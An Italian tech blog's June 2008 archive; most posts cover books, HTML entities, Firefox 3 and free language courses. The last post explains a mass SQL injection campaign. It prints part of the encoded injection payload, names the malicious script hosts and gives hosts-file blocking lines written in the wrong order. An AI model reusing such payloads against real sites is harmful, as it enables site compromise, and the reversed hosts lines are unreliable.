Archivio di giugno 2008
Libri antichi – una passione
Scritto da Alex il 27 giugno 2008 – 3:02 pmOctavo
“Introdotto poco dopo l’invenzione della stampa con caratteri mobili, il formato in octavo fu il primo sviluppato specificamente per creare libri a basso costo prodotti in grande scala”
Avete la passione dei libri antichi (e famosi) ma non potete soddisfarla girando per musei ?
Volete stampare qualche pagina del Sidereus Nuncius di Galileo o provare l’ebbrezza di sfogliare il Manuale Tipografico di Giambattista Bodoni ? Allora octavo.com fa per voi:
Qui potete esaminare superficialmente o comprare per qualche decina di dollari un’edizione elettronica in formato PDF di un raro e famoso libro antico, eventualmente tradotta, con segnalibri, ingrandibile fino al 300%, stampabile e su cui potrete anche effettuare ricerche veloci.
Una tentazione…

Tag: libri
Pubblicato in curiosità | Nessun commento »
HTML e caratteri speciali
Scritto da Alex il 24 giugno 2008 – 4:28 pmI caratteri speciali html (entities) sono quei caratteri che non possono essere scritti direttamente con la tastiera, perchè potrebbero influenzare la corretta visualizzazione della pagina.
Come altri linguaggi di programmazione o resa video, html offre una lista di caratteri speciali (parole riservate) con i relativi codici per scriverli a video.
La lista dei caratteri speciali seguenti è una rielaborazione della tabella ISO e mostra nella colonna HTML Entity Code il nome dell’entity e a destra il carattere risultante a video. Si può anche usare la convenzione con il codice ISO. Un’altra soluzione è ricorrere a postable, di Elliot Swan, uno strumento che dato un carattere “anomalo” lo converte nell’entity corrispondente.
Caratteri speciali in HTML:
| Carattere | Entity | Decimal | Hex | Rendering nel browser | ||
|---|---|---|---|---|---|---|
| Entity | Decimal | Hex | ||||
| no-break space = non-breaking space | |   |   | |||
| inverted exclamation mark | ¡ | ¡ | ¡ | ¡ | ¡ | ¡ |
| cent sign | ¢ | ¢ | ¢ | ¢ | ¢ | ¢ |
| pound sign | £ | £ | £ | £ | £ | £ |
| currency sign | ¤ | ¤ | ¤ | ¤ | ¤ | ¤ |
| yen sign = yuan sign | ¥ | ¥ | ¥ | ¥ | ¥ | ¥ |
| broken bar = broken vertical bar | ¦ | ¦ | ¦ | ¦ | ¦ | ¦ |
| section sign | § | § | § | § | § | § |
| diaeresis = spacing diaeresis | ¨ | ¨ | ¨ | ¨ | ¨ | ¨ |
| copyright sign | © | © | © | © | © | © |
| feminine ordinal indicator | ª | ª | ª | ª | ª | ª |
| left-pointing double angle quotation mark = left pointing guillemet | « | « | « | « | « | « |
| not sign | ¬ | ¬ | ¬ | ¬ | ¬ | ¬ |
| soft hyphen = discretionary hyphen | ­ | ­ | ­ | | | |
| registered sign = registered trade mark sign | ® | ® | ® | ® | ® | ® |
| macron = spacing macron = overline = APL overbar | ¯ | ¯ | ¯ | ¯ | ¯ | ¯ |
| degree sign | ° | ° | ° | ° | ° | ° |
| plus-minus sign = plus-or-minus sign | ± | ± | ± | ± | ± | ± |
| superscript two = superscript digit two = squared | ² | ² | ² | ² | ² | ² |
| superscript three = superscript digit three = cubed | ³ | ³ | ³ | ³ | ³ | ³ |
| acute accent = spacing acute | ´ | ´ | ´ | ´ | ´ | ´ |
| micro sign | µ | µ | µ | µ | µ | µ |
| pilcrow sign = paragraph sign | ¶ | ¶ | ¶ | ¶ | ¶ | ¶ |
| middle dot = Georgian comma = Greek middle dot | · | · | · | · | · | · |
| cedilla = spacing cedilla | ¸ | ¸ | ¸ | ¸ | ¸ | ¸ |
| superscript one = superscript digit one | ¹ | ¹ | ¹ | ¹ | ¹ | ¹ |
| masculine ordinal indicator | º | º | º | º | º | º |
| right-pointing double angle quotation mark = right pointing guillemet | » | » | » | » | » | » |
| vulgar fraction one quarter = fraction one quarter | ¼ | ¼ | ¼ | ¼ | ¼ | ¼ |
| vulgar fraction one half = fraction one half | ½ | ½ | ½ | ½ | ½ | ½ |
| vulgar fraction three quarters = fraction three quarters | ¾ | ¾ | ¾ | ¾ | ¾ | ¾ |
| inverted question mark = turned question mark | ¿ | ¿ | ¿ | ¿ | ¿ | ¿ |
| Latin capital letter A with grave = Latin capital letter A grave | À | À | À | À | À | À |
| Latin capital letter A with acute | Á | Á | Á | Á | Á | Á |
| Latin capital letter A with circumflex | Â | Â | Â | Â | Â | Â |
| Latin capital letter A with tilde | Ã | Ã | Ã | Ã | Ã | Ã |
| Latin capital letter A with diaeresis | Ä | Ä | Ä | Ä | Ä | Ä |
| Latin capital letter A with ring above = Latin capital letter A ring | Å | Å | Å | Å | Å | Å |
| Latin capital letter AE = Latin capital ligature AE | Æ | Æ | Æ | Æ | Æ | Æ |
| Latin capital letter C with cedilla | Ç | Ç | Ç | Ç | Ç | Ç |
| Latin capital letter E with grave | È | È | È | È | È | È |
| Latin capital letter E with acute | É | É | É | É | É | É |
| Latin capital letter E with circumflex | Ê | Ê | Ê | Ê | Ê | Ê |
| Latin capital letter E with diaeresis | Ë | Ë | Ë | Ë | Ë | Ë |
| Latin capital letter I with grave | Ì | Ì | Ì | Ì | Ì | Ì |
| Latin capital letter I with acute | Í | Í | Í | Í | Í | Í |
| Latin capital letter I with circumflex | Î | Î | Î | Î | Î | Î |
| Latin capital letter I with diaeresis | Ï | Ï | Ï | Ï | Ï | Ï |
| Latin capital letter ETH | Ð | Ð | Ð | Ð | Ð | Ð |
| Latin capital letter N with tilde | Ñ | Ñ | Ñ | Ñ | Ñ | Ñ |
| Latin capital letter O with grave | Ò | Ò | Ò | Ò | Ò | Ò |
| Latin capital letter O with acute | Ó | Ó | Ó | Ó | Ó | Ó |
| Latin capital letter O with circumflex | Ô | Ô | Ô | Ô | Ô | Ô |
| Latin capital letter O with tilde | Õ | Õ | Õ | Õ | Õ | Õ |
| Latin capital letter O with diaeresis | Ö | Ö | Ö | Ö | Ö | Ö |
| multiplication sign | × | × | × | × | × | × |
| Latin capital letter O with stroke = Latin capital letter O slash | Ø | Ø | Ø | Ø | Ø | Ø |
| Latin capital letter U with grave | Ù | Ù | Ù | Ù | Ù | Ù |
| Latin capital letter U with acute | Ú | Ú | Ú | Ú | Ú | Ú |
| Latin capital letter U with circumflex | Û | Û | Û | Û | Û | Û |
| Latin capital letter U with diaeresis | Ü | Ü | Ü | Ü | Ü | Ü |
| Latin capital letter Y with acute | Ý | Ý | Ý | Ý | Ý | Ý |
| Latin capital letter THORN | Þ | Þ | Þ | Þ | Þ | Þ |
| Latin small letter sharp s = ess-zed | ß | ß | ß | ß | ß | ß |
| Latin small letter a with grave = Latin small letter a grave | à | à | à | à | à | à |
| Latin small letter a with acute | á | á | á | á | á | á |
| Latin small letter a with circumflex | â | â | â | â | â | â |
| Latin small letter a with tilde | ã | ã | ã | ã | ã | ã |
| Latin small letter a with diaeresis | ä | ä | ä | ä | ä | ä |
| Latin small letter a with ring above = Latin small letter a ring | å | å | å | å | å | å |
| Latin small letter ae = Latin small ligature ae | æ | æ | æ | æ | æ | æ |
| Latin small letter c with cedilla | ç | ç | ç | ç | ç | ç |
| Latin small letter e with grave | è | è | è | è | è | è |
| Latin small letter e with acute | é | é | é | é | é | é |
| Latin small letter e with circumflex | ê | ê | ê | ê | ê | ê |
| Latin small letter e with diaeresis | ë | ë | ë | ë | ë | ë |
| Latin small letter i with grave | ì | ì | ì | ì | ì | ì |
| Latin small letter i with acute | í | í | í | í | í | í |
| Latin small letter i with circumflex | î | î | î | î | î | î |
| Latin small letter i with diaeresis | ï | ï | ï | ï | ï | ï |
| Latin small letter eth | ð | ð | ð | ð | ð | ð |
| Latin small letter n with tilde | ñ | ñ | ñ | ñ | ñ | ñ |
| Latin small letter o with grave | ò | ò | ò | ò | ò | ò |
| Latin small letter o with acute | ó | ó | ó | ó | ó | ó |
| Latin small letter o with circumflex | ô | ô | ô | ô | ô | ô |
| Latin small letter o with tilde | õ | õ | õ | õ | õ | õ |
| Latin small letter o with diaeresis | ö | ö | ö | ö | ö | ö |
| division sign | ÷ | ÷ | ÷ | ÷ | ÷ | ÷ |
| Latin small letter o with stroke = Latin small letter o slash | ø | ø | ø | ø | ø | ø |
| Latin small letter u with grave | ù | ù | ù | ù | ù | ù |
| Latin small letter u with acute | ú | ú | ú | ú | ú | ú |
| Latin small letter u with circumflex | û | û | û | û | û | û |
| Latin small letter u with diaeresis | ü | ü | ü | ü | ü | ü |
| Latin small letter y with acute | ý | ý | ý | ý | ý | ý |
| Latin small letter thorn | þ | þ | þ | þ | þ | þ |
| Latin small letter y with diaeresis | ÿ | ÿ | ÿ | ÿ | ÿ | ÿ |
Tag: Webdesign
Pubblicato in Webdesign | 1 commento »
Arriva Firefox 3, preparatevi al Download Day !
Scritto da Alex il 14 giugno 2008 – 9:40 am
Per festeggiare i risultati ottenuti finora dal browser “alternativo”, è in preparazione una manifestazione virtuale che mira a fare di Firefox 3 il Guinness record di applicazione maggiormente scaricata in un singolo giorno, il 17 giugno 2008 .
Firefox 3 si scarica qui:
(Nota finale: Grazie al supporto della straordinaria comunità di Mozilla, Firefox 3 è stato scaricato 8.002.530 volte nell’arco di 24 ore. È il maggior numero di download mai raggiunto in un solo giorno, un’impresa eccezionale!)
E ci sono buone probabilità che la cosa funzioni:
Mozilla ha annunciato oggi di voler stabilire il record mondiale per il maggior numero di download di un programma effettuato nell’arco di 24 ore. Il tentativo di stabilire il nuovo record per il Guinness dei Primati é previsto in occasione della giornata di lancio di Firefox 3; giornata che per l’occasione verrà denominata Download Day.
Mozilla invita la propria comunità globale a diffondere la notizia e a partecipare all’impresa per il raggiungimento del record invitando quante più persone possibili a scaricare Firefox 3 e dando vita a feste locali dedicate al Download Day.
Da 2004 a oggi la comunità Firefox è cresciuta sino a contare un numero superiore ai 175 milioni di utenti. Firefox è disponibile in oltre 45 lingue e viene utilizzato in oltre 230 diversi Paesi. L’entusiasmo della vasta comunità Mozilla si riflette ogni giorno nell’impegno comune di diffondere Firefox presso i propri amici, familiari, conoscenti. Il Download Day continua sul solco tracciato da questa tradizione e si propone di incanalare l’energia della comunità Firefox per contribuire a migliorare l’esperienza dell’utilizzo del web per ciascun utente, ovunque esso si trovi.
Gli appassionati di Firefox potranno contribuire al Download Day diffondendone la notizia, richiedendo ai propri amici, familiari e conoscenti di scaricare la nuova versione del browser, dando vita a feste dedicate al download di Firefox 3 o inserendo degli appositi pulsanti “Download Day†sui propri siti web affinché il record per il Guinnes dei Primati possa essere raggiunto. Ecco i principali riferimenti per prendere parte al Download Day e sostenere Mozilla nel tentativo di stabilire il record:
- Prenotarsi e ricevere la propria copia di Firefox 3 in occasione del Download Day: www.spreadfirefox.com/it/worldrecord
- Promuovere un “Download Day Party†presso la propria scuola, il proprio ufficio o dovunque sia disponibile una connessione internet. Per maggiori dettagli: www.mozillaparty.com
- Promuovere Firefox all’interno della propria Università e raccogliere adesioni per il Download Day presso i propri compagni: www.spreadfirefox.com/campusreps
- Aggiungere un banner o un pulsante Mozilla al proprio sito, blog o profilo.
- I pulsanti possono essere scaricati a questo indirizzo: www.spreadfirefox.com/?q=affiliates/homepage .
Per seguire l’evolversi del numero di download e per avere ulteriori dettagli in merito alla data ufficiale di lancio di Firefox 3: www.spreadfirefox.com/it/worldrecord .
Tag: Internet, Navigatori
Pubblicato in generale, Internet | Nessun commento »
Winternals – utilità gratuite Sysinternals di alta qualità
Scritto da Alex il 10 giugno 2008 – 9:52 amIl sito Sysinternals fu creato nel 1996 da Mark Russinovich e Bryce Cogswell per ospitarvi le loro utilità di sistema avanzate e informazioni tecniche; Microsoft ha acquisito Sysinternals nel Luglio 2006.
Le offerte di Sysinternals aiutano a gestire, diagnosticare e risolvere i problemi delle installazioni e delle applicazioni Windows.
Quello che non tutti sanno è che la Microsoft ha reso accessibili le utilità creando un particolare esempio di risorsa condivisa; basta digitare in Esplora risorse o in Internet Explorer http://live.sysinternals.com per vedere la lista dei file zip compressi, da scaricare istantaneamente:

Tag: utilità
Pubblicato in generale | Nessun commento »
Migliorare l’Inglese gratis ? Facile ! Ma anche il Tedesco !
Scritto da Alex il 4 giugno 2008 – 9:56 amCercate un modo semplice e gratuito per migliorare la vostra comprensione dell’Inglese americano parlato e migliorare il vostro lessico ? Ecco qui:
Il loro motto è “Helping People Understand Their World”; dal 19 ottobre 1959 la radio Voice Of America diffonde programmi in “Special English”, una versione a scartamento ridotto dell’American English parlato (solo circa 1500 parole di lessico, niente slang e pronuncia a 2/3 della velocità normale) per migliorare il rapporto con la lingua dei milioni di immigrati negli USA. Gli argomenti proposti sono articoli di attualità e annunci di novità scientifiche.
Sul sito trovate file scaricabili in vari formati (RealAudio, MP3, ecc.) che potete ascoltare come volete.
Assolutamente da non sottovalutare i servizi offerti dalla BBC gratuitamente a questo indirizzo:
ove si trovano anche ottimi filmati mp4 (quicktime) con esempi di pronuncia.
Analogo è il servizio offerto da Deutsche Welle per il tedesco:
il sito offre anche servizi più articolati, come filmati on-demand, corsi veri e propri, ecc.
Tag: corsi di lingua, Inglese, Tedesco
Pubblicato in generale | 3 commenti »
Siti web infetti, pubblicità importune – una soluzione fai da te
Scritto da Alex il 4 giugno 2008 – 9:21 amSembra siano MILIONI i siti web compromessi da un attacco del tipo “sql injection”, che inserisce codice malevolo nelle pagine web in ASP (Active Server Pages, linguaggio di script della piattaforma Microsoft) che così modificate scaricano un trojan sui pc degli ignari naviganti.
Il codice iniettato è criptato e comincia così:
DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0×4400450
043004C004100520045002000400054002000760061007200630068006
1007200280032003500350029002C00400043002000760061007200630
06800610072002800320035003500290020004400450043004C0041005
200450020005400610062006C0065005F0043007500720073006F00720
0200043005500520053004F005200200046004F0052002000730065006
C00650063007400200061002E006E0061006D0065002C0062002E006E0
061006D0065002000660072006F006D0020007300790073006F0062006
A006500630074007300200061002C0073007900730063006F006C00750
06D006E00730020006200200077006800650072006500200061002E006
90064003D0062002E0069006400200061006E006400200061002E00780
074007900700065003D00270075002700200061006E006400200028006
2002E00780074007900700065003D003900390020006F0072002000620
02E00780074007900700065003D003300350020006…
Una volta decodificato appare così:
DECLARE @T varchar(255)@C varchar(255) DECLARE Table_Cursor
CURSOR FOR select a.name b.name from sysobjects a syscolumns b
where a.id=b.id and a.xtype=u and (b.xtype=99 or b.xtype=35
or b
Cercando con Google le stringhe www.nihaorr1.com/1.js, www.adw95.com/b.js o www.banner82.com/b.js si trovano migliaia di siti, divisi in due categorie: quelli che parlano dell’infezione, soprattutto forum di programmazione ASP, e quelli che hanno il trojan installato.
Il software (una routine in JavaScript) non è caricato direttamente sul sito compromesso, ma fa aprire dal browser del navigante un frame invisibile che punta ad un sito remoto, uno dei tre sopracitati ad esempio: è da quest’ultimo che viene scaricato sul PC della vittima il virus vero e proprio.
Alcune falle di sicurezza che il virus cerca di sfruttare per l’installazione del trojan (ecco perché è una buona idea attivare l’aggiornamento automatico del sistema operativo !):
MS06-014 Vulnerability in the Microsoft Data Access Components (MDAC) Function Could Allow Code Execution
MS07-004 Vulnerability in Vector Markup Language Could Allow Remote Code Execution
MS07-018 Vulnerabilities in Microsoft Content Management Server Could Allow Remote Code Execution
MS07-033 Cumulative Security Update for Internet Explorer
MS07-055 Vulnerability in kodak Image Viewer Could Allow Remote Code Execution
A parte una ripulita dei siti web da parte dei relativi gestori, quel che si può fare personalmente è aprire con Blocco note (notepad.exe) il proprio file hosts (che si trova in c:\windows\system32\drivers\etc\hosts) ed inserirvi un reindirizzamento sul proprio PC (localhost) che renda inoffensivi gli indirizzi dei siti malevoli, ad es. le righe:
www.nihaorr1.com 127.0.0.1
www.adw95.com 127.0.0.1
www.banner82.com 127.0.0.1
nmidahena.com 127.0.0.1
aspder.com 127.0.0.1
I siti in oggetto non saranno così più raggiungibili, naturalmente quelli identificati finora.
Basta infatti che nuovi siti web vengano sfruttati dal trojan e si ricomincia, per cui la migliore soluzione è quella di utilizzare un antivirus valido.
I siti compromessi sono tanti, molti sono anche italiani: ci sono siti istituzionali (Comuni, Enti e Province), siti privati e di eCommerce.
Viene subito in mente però che la stessa tecnica si può usare anche per altri scopi: impedire la comparsa di finestre pubblicitarie indesiderate durante la navigazione, impedire a figli indisciplinati di raggiungere siti che si considerano inadatti, ecc.
Trovate qui una lista di domini da bloccare con la tecnica del localhost.
(Fonte: PandaLabs e www.f-secure.com)
Tag: importuni, Internet, SQL injection, virus
Pubblicato in generale, importuni | 3 commenti »








